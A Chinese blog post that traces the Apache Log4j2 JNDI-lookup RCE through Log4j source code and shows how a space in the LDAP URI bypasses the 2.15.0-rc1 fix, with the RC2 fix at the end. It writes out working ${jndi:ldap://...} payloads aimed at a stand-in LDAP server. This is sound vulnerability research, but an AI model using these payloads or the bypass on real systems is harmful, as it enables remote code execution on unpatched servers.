Apache Log4j2从RCE到RC1绕过

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: Apache Log4j2从RCE到RC1绕过

介绍

Log4j2是Java开发常用的日志框架,该漏洞触发条件低,危害大,由阿里云安全团队报告

POC比较简单

public static void main(String[] args) throws Exception {
    logger.error("${jndi:ldap://127.0.0.1:1389/badClassName}");
}

截图如下

c45ef26b931c982fe468b64ddd0fbcc9_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

RCE分析

首先来看RCE是怎样的原理,先来一段又臭又长的流程分析

看看从logger.error到JndiLookup.lookup中间经历了些什么

从logger.error()层层跟到AbstractLogger.tryLogMessage.log方法

private void tryLogMessage(final String fqcn,
                           final StackTraceElement location,
                           final Level level,
                           final Marker marker,
                           final Message message,
                           final Throwable throwable) {
    try {
        log(level, marker, fqcn, location, message, throwable);
    } catch (final Exception e) {
        handleLogMessageException(e, fqcn, message);
    }
}

不动态调试的情况下跟log方法会到AbstractLogger.log方法,实际上这里是org.apache.logging.log4j.core.Loggger.log方法

@Override
protected void log(final Level level, final Marker marker, final String fqcn, final StackTraceElement location,
                   final Message message, final Throwable throwable) {
    final ReliabilityStrategy strategy = privateConfig.loggerConfig.getReliabilityStrategy();
    if (strategy instanceof LocationAwareReliabilityStrategy) {
        // 触发点
        ((LocationAwareReliabilityStrategy) strategy).log(this, getName(), fqcn, location, marker, level,
                                                          message, throwable);
    } else {
        strategy.log(this, getName(), fqcn, marker, level, message, throwable);
    }
}

跟入这里的log方法到org/apache/logging/log4j/core/config/DefaultReliabilityStrategy.log

@Override
public void log(final Supplier<LoggerConfig> reconfigured, final String loggerName, final String fqcn,
                final StackTraceElement location, final Marker marker, final Level level, final Message data,
                final Throwable t) {
    loggerConfig.log(loggerName, fqcn, location, marker, level, data, t);
}

进入LoggerConfig.log方法

@PerformanceSensitive("allocation")
    public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker,
        final Level level, final Message data, final Throwable t) {
        // 无需关心的代码
        ...
        try {
            // 跟入
            log(logEvent, LoggerConfigPredicate.ALL);
        } finally {
            ReusableLogEventFactory.release(logEvent);
        }
    }

进入LoggerConfig另一处重载log方法

protected void log(final LogEvent event, final LoggerConfigPredicate predicate) {
    if (!isFiltered(event)) {
        // 跟入
        processLogEvent(event, predicate);
    }
}
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
    event.setIncludeLocation(isIncludeLocation());
    if (predicate.allow(this)) {
        // 关键点
        callAppenders(event);
    }
    logParent(event, predicate);
}

可以看到调用appender.control的callAppender方法

@PerformanceSensitive("allocation")
protected void callAppenders(final LogEvent event) {
    final AppenderControl[] controls = appenders.get();
    //noinspection ForLoopReplaceableByForEach
    for (int i = 0; i < controls.length; i++) {
        controls[i].callAppender(event);
    }
}

层层跟入到AppenderControl.tryCallAppender方法

private void callAppender0(final LogEvent event) {    ensureAppenderStarted();    if (!isFilteredByAppender(event)) {        // 跟入        tryCallAppender(event);    }}
private void tryCallAppender(final LogEvent event) {    try {        // 跟入        appender.append(event);    } catch (final RuntimeException error) {        handleAppenderError(event, error);    } catch (final Exception error) {        handleAppenderError(event, new AppenderLoggingException(error));    }}

进入AbstractOutputStreamAppender.append方法,进入到directEncodeEvent方法

protected void directEncodeEvent(final LogEvent event) {    getLayout().encode(event, manager);    if (this.immediateFlush || event.isEndOfBatch()) {        manager.flush();    }}

关注其中的encode方法跟入到PatternLayout.encode方法

@Overridepublic void encode(final LogEvent event, final ByteBufferDestination destination) {    if (!(eventSerializer instanceof Serializer2)) {        super.encode(event, destination);        return;    }    final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder());    final Encoder<StringBuilder> encoder = getStringBuilderEncoder();    encoder.encode(text, destination);    trimToMaxSize(text);}

不用关心多余的代码,这里触发点在toText方法

private StringBuilder toText(final Serializer2 serializer, final LogEvent event,                             final StringBuilder destination) {    return serializer.toSerializable(event, destination);}
@Overridepublic StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {    final int len = formatters.length;    for (int i = 0; i < len; i++) {        // 发现其中某一处format方法触发漏洞        formatters[i].format(event, buffer);    }    if (replace != null) {        String str = buffer.toString();        str = replace.format(str);        buffer.setLength(0);        buffer.append(str);    }    return buffer;}

这里的formatters方法包含了多个formatter对象,其中出发漏洞的是第8个,其中包含MessagePatternConverter

b819ac5f68ef14a5521dc562e81d8690_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

跟入看到调用了Converter相关的方法

public void format(final LogEvent event, final StringBuilder buf) {    if (skipFormattingInfo) {        converter.format(event, buf);    } else {        formatWithInfo(event, buf);    }}

不难看出每个formatter和converter为了构造日志的每一部分,这里在构造真正的日志信息字符串部分

57d44fdda68be0e00d650df07ae78ea1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

跟入MessagePatternConverter.format方法,看到核心的部分

@Overridepublic void format(final LogEvent event, final StringBuilder toAppendTo) {    final Message msg = event.getMessage();    if (msg instanceof StringBuilderFormattable) {        final boolean doRender = textRenderer != null;        final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;        final int offset = workingBuilder.length();        if (msg instanceof MultiFormatStringBuilderFormattable) {            ((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);        } else {            ((StringBuilderFormattable) msg).formatTo(workingBuilder);        }        if (config != null && !noLookups) {            for (int i = offset; i < workingBuilder.length() - 1; i++) {                // 是否以${开头                if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {                    // 这个value是:${jndi:ldap://127.0.0.1:1389/badClassName}                    final String value = workingBuilder.substring(offset, workingBuilder.length());                    workingBuilder.setLength(offset);                    // 跟入replace方法                    workingBuilder.append(config.getStrSubstitutor().replace(event, value));                }            }        }        if (doRender) {            textRenderer.render(workingBuilder, toAppendTo);        }        return;    }    if (msg != null) {        String result;        if (msg instanceof MultiformatMessage) {            result = ((MultiformatMessage) msg).getFormattedMessage(formats);        } else {            result = msg.getFormattedMessage();        }        if (result != null) {            toAppendTo.append(config != null && result.contains("${")                              ? config.getStrSubstitutor().replace(event, result) : result);        } else {            toAppendTo.append("null");        }    }}

进入StrSubstitutor.replace方法

public String replace(final LogEvent event, final String source) {    if (source == null) {        return null;    }    final StringBuilder buf = new StringBuilder(source);    // 跟入    if (!substitute(event, buf, 0, source.length())) {        return source;    }    return buf.toString();}

跟入StrSubstitutor.subtute方法,存在递归,逻辑较长

主要作用是递归处理日志输入,转为对应的输出

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,                       List<String> priorVariables) {    ...    substitute(event, bufName, 0, bufName.length());    ...    String varValue = resolveVariable(event, varName, buf, startPos, endPos);    ...    int change = substitute(event, buf, startPos, varLen, priorVariables);}

其实这里是出发漏洞的必要条件,通常情况下程序员会这样写日志相关代码

logger.error("error_message:" + info);

黑客的恶意输入有可能进入info变量导致这里变成

logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");

这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/badClassName进入resolveVariable方法

7d30b226e15055baac44bad9a0f3750e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

经过调试确认了关键方法resolveVariable

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,                                 final int startPos, final int endPos) {    final StrLookup resolver = getVariableResolver();    if (resolver == null) {        return null;    }    // 进入    return resolver.lookup(event, variableName);}

跟入这里的lookup可以看到很多师傅们截图的方法

@Overridepublic String lookup(final LogEvent event, String var) {    if (var == null) {        return null;    }    final int prefixPos = var.indexOf(PREFIX_SEPARATOR);    if (prefixPos >= 0) {        final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);        final String name = var.substring(prefixPos + 1);        // 关键        final StrLookup lookup = strLookupMap.get(prefix);        if (lookup instanceof ConfigurationAware) {            ((ConfigurationAware) lookup).setConfiguration(configuration);        }        String value = null;        if (lookup != null) {            // 这里的name是:ldap://127.0.0.1:1389/badClassName            value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);        }        if (value != null) {            return value;        }        var = var.substring(prefixPos + 1);    }    if (defaultLookup != null) {        return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);    }    return null;}

这里的strLookupMap中包含了多种Lookup对象

d67b9e1cbcb6ca736fbecb1b6c12bb59_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

类似地,可以看这样利用

logger.error("${java:runtime}");// 打印00:36:26.312 [main] ERROR Main - Java(TM) SE Runtime Environment (build 1.8.0_131-b11) from Oracle Corporation

跟入JndiLookup.lookup

@Overridepublic String lookup(final LogEvent event, final String key) {    if (key == null) {        return null;    }    final String jndiName = convertJndiName(key);    try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {        // 跟入lookup        return Objects.toString(jndiManager.lookup(jndiName), null);    } catch (final NamingException e) {        LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);        return null;    }}

最后触发点JndiManager.lookup

@SuppressWarnings("unchecked")public <T> T lookup(final String name) throws NamingException {    return (T) this.context.lookup(name);}

RC1修复绕过

修复版本2.15.0-rc1

跟了下流程发现到PatternLayout.toSerializable方法发生了变化

不过这里的变化没有什么影响,其中的formatters属性的变化导致了${}不会被处理

@Overridepublic StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {    for (PatternFormatter formatter : formatters) {        formatter.format(event, buffer);    }    return buffer;}

上文提到这里某个formatter包含了MessagePatternConverter

在修复后变成了MessagePatternConverter.SimplePatternConverter类

e0481e85e3a0850ae27a5ef90a9daa7f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

可以发现在这个类中变成了直接拼接字符串的操作,不去判断${}这种情况

private static final class SimpleMessagePatternConverter extends MessagePatternConverter {    private static final MessagePatternConverter INSTANCE = new SimpleMessagePatternConverter();    @Override    public void format(final LogEvent event, final StringBuilder toAppendTo) {        Message msg = event.getMessage();        // 直接拼接字符串        if (msg instanceof StringBuilderFormattable) {            ((StringBuilderFormattable) msg).formatTo(toAppendTo);        } else if (msg != null) {            toAppendTo.append(msg.getFormattedMessage());        }    }}

注意到另一个子类LookupMessagePatternConverter

如果Converter被设置为该类,那么会继续进行${}的处理

private static final class LookupMessagePatternConverter extends MessagePatternConverter {    private final MessagePatternConverter delegate;    private final Configuration config;    LookupMessagePatternConverter(final MessagePatternConverter delegate, final Configuration config) {        this.delegate = delegate;        this.config = config;    }    @Override    public void format(final LogEvent event, final StringBuilder toAppendTo) {        int start = toAppendTo.length();        delegate.format(event, toAppendTo);        // 判断${}        int indexOfSubstitution = toAppendTo.indexOf("${", start);        if (indexOfSubstitution >= 0) {            config.getStrSubstitutor()                // 进入了上文的流程                .replaceIn(event, toAppendTo, indexOfSubstitution, toAppendTo.length() - indexOfSubstitution);        }    }}

具体需要设置为哪一个子类取决于用户的配置

private static final String LOOKUPS = "lookups";private static final String NOLOOKUPS = "nolookups";public static MessagePatternConverter newInstance(final Configuration config, final String[] options) {    boolean lookups = loadLookups(options);    String[] formats = withoutLookupOptions(options);    TextRenderer textRenderer = loadMessageRenderer(formats);    // 默认不配置lookup功能    MessagePatternConverter result = formats == null || formats.length == 0        ? SimpleMessagePatternConverter.INSTANCE        : new FormattedMessagePatternConverter(formats);    if (lookups && config != null) {        // 只有用户进行配置才会触发        result = new LookupMessagePatternConverter(result, config);    }    if (textRenderer != null) {        result = new RenderingPatternConverter(result, textRenderer);    }    return result;}

于是想办法开启lookup功能分析后续有没有限制

final Configuration config = new DefaultConfigurationBuilder().build(true);// 配置开启lookup功能final MessagePatternConverter converter =    MessagePatternConverter.newInstance(config, new String[] {"lookups"});final Message msg = new ParameterizedMessage("${jndi:ldap://127.0.0.1:1389/badClassName}");final LogEvent event = Log4jLogEvent.newBuilder()    .setLoggerName("MyLogger")    .setLevel(Level.DEBUG)    .setMessage(msg).build();final StringBuilder sb = new StringBuilder();converter.format(event, sb);System.out.println(sb);

成功开启lookups功能,调用LookupMessagePatternConverter.fomat方法

e07e4103a3220941f79d8e83482b7e47_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

递归处理等过程均没有变化,最后JndiManager.lookup触发漏洞的地方进行了修改

public synchronized <T> T lookup(final String name) throws NamingException {    try {        URI uri = new URI(name);        if (uri.getScheme() != null) {            // 允许的协议白名单            if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {                LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());                return null;            }            if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {                // 允许的host白名单                if (!allowedHosts.contains(uri.getHost())) {                    LOGGER.warn("Attempt to access ldap server not in allowed list");                    return null;                }                Attributes attributes = this.context.getAttributes(name);                if (attributes != null) {                    Map<String, Attribute> attributeMap = new HashMap<>();                    NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();                    while (enumeration.hasMore()) {                        Attribute attribute = enumeration.next();                        attributeMap.put(attribute.getID(), attribute);                    }                    Attribute classNameAttr = attributeMap.get(CLASS_NAME);                    // 参考下图我们这种Payload不存在javaSerializedData头                    // 所以不会进入类白名单判断                    if (attributeMap.get(SERIALIZED_DATA) != null) {                        if (classNameAttr != null) {                            // 类名白名单                            String className = classNameAttr.get().toString();                            if (!allowedClasses.contains(className)) {                                LOGGER.warn("Deserialization of {} is not allowed", className);                                return null;                            }                        } else {                            LOGGER.warn("No class name provided for {}", name);                            return null;                        }                    } else if (attributeMap.get(REFERENCE_ADDRESS) != null                               || attributeMap.get(OBJECT_FACTORY) != null) {                        // 不允许REFERENCE这种加载对象的方式                        LOGGER.warn("Referenceable class is not allowed for {}", name);                        return null;                    }                }            }        }    } catch (URISyntaxException ex) {        // This is OK.    }    return (T) this.context.lookup(name);}

看看实际运行中,这几个白名单是怎样的

a35a6b72402407a7a96bb8cbd4f2aa91_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

默认的协议是:java,ldap,ldaps

默认数据类型是八大基本数据类型

默认的Host白名单是localhost

实际上拦住Payload是在最后一处OBJECT_FACTORY判断

8fbda88971eefb40fcab4b66b2e58088_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

由于RCE一定需要加载远程对象,那么避免不了javaFactory属性(或者有一些其他思路,笔者刚做Java安全不了解)

看起来无懈可击,然而这里有一处细节问题

public synchronized <T> T lookup(final String name) throws NamingException {    try {        URI uri = new URI(name);        ...    } catch (URISyntaxException ex) {        // This is OK.    }    return (T) this.context.lookup(name);}

如果发生了URISyntaxException异常会直接this.context.lookup

能否想办法让new URI(name);时候报错但name传入context.lookup(name);时正常

经过测试发现URI中不进行URL编码会报这个错,加个空格即可触发${jndi:ldap://127.0.0.1:1389/ badClassName}

eec89546409c474943852b24a1f9bd24_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

成功RCE(需要用户开启lookup功能的基础上才可以)

998dfac4e5bdee94326d922b51fd82e6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

RC2修复

RC2的修复方案是直接return,有效解决了上文的绕过

try{} catch (URISyntaxException ex) {    LOGGER.warn("Invalid JNDI URI - {}", name);    return null;}return (T) this.context.lookup(name);

不过再RC2的修复情况下发现另外的漏洞,很鸡肋,后续分析

相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
相关文章
|
安全 Java 开发者
刚折腾完Log4J,又爆Spring RCE核弹级漏洞
继Log4J爆出安全漏洞之后,又在深夜,Spring的github上又更新了一条可能造成RCE(远程命令执行漏洞)的问题代码,随即在国内的安全圈炸开了锅。有安全专家建议升级到JDK 9以上,有些专家又建议回滚到JDK 7以下,一时间小伙伴们不知道该怎么办了。大家来看一段动画演示,怎么改都是“将军"。
117 1
|
6月前
|
Apache
web服务器(Apache)访问日志(access_log)详细解释
web服务器(Apache)访问日志(access_log)详细解释
|
安全 Java Shell
Apache Log4j2 远程代码执行漏洞
Apache Log4j2是一个·基于Java的日志记录工具,该工具重写了Log4j框架,并且引入大量丰富的特性,该日志框架被大量用于业务系统开发,用来记录日志信息。
104 2
|
安全 druid Java
【紧急】Apache Log4j任意代码执行漏洞安全风险升级修复教程
近期一个 Apache Log4j 远程代码执行漏洞细节被公开,攻击者利用漏洞可以远程执行代码。经过分析,该组件存在Java JNDI注入漏洞,当程序将用户输入的数据进行日志,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
362 1
|
Java Maven
Cannot resolve org.apache.logging.log4j:log4j-api:2.16.0
Cannot resolve org.apache.logging.log4j:log4j-api:2.16.0
248 0
|
Java Maven
Class org.apache.commons.logging.impl.Jdk14Logger does not implement Log 解决方法
org.apache.commons.logging.LogConfigurationException: Class org.apache.commons.logging.impl.Jdk14Logger does not implement Log at org.apache.commons.logging.impl.LogFactoryImpl.getLogConstructor(LogFactoryImpl.java:400) at org.apache.commons.logging.impl.LogFactoryImpl.newInstance(LogFactoryImpl.jav
240 0
|
SQL 安全 Apache
【Bypass】安全狗apache V4.0.23137 SQL注入绕过
【Bypass】安全狗apache V4.0.23137 SQL注入绕过
174 0
|
SQL 安全 Apache
SQL注入-安全狗apache最新版绕过
SQL注入-安全狗apache最新版绕过
156 0
|
安全 Apache 数据安全/隐私保护
Apache Shiro < 1.7.0 权限绕过漏洞集合
今天发现阿里云服务器出现了告警: shiro 1.3.2 进程ID:3932 路径:xxx\shiro-core-1.3.2.jar 命中:shiro version less than 1.7.0 网上一搜,找到了如下资料: 2020年11月2日,阿里云应急响应中心监测到Apache Shiro官方发布安全更新,修复了一个最新权限绕过漏洞。攻击者利用该漏洞可以绕过验证访问到后台功能,风险较高
352 0
|
域名解析 安全 Java
浅谈Log4j2之2.15.0版本RCE(二)
浅谈Log4j2之2.15.0版本RCE
163 0
浅谈Log4j2之2.15.0版本RCE(二)

推荐镜像

更多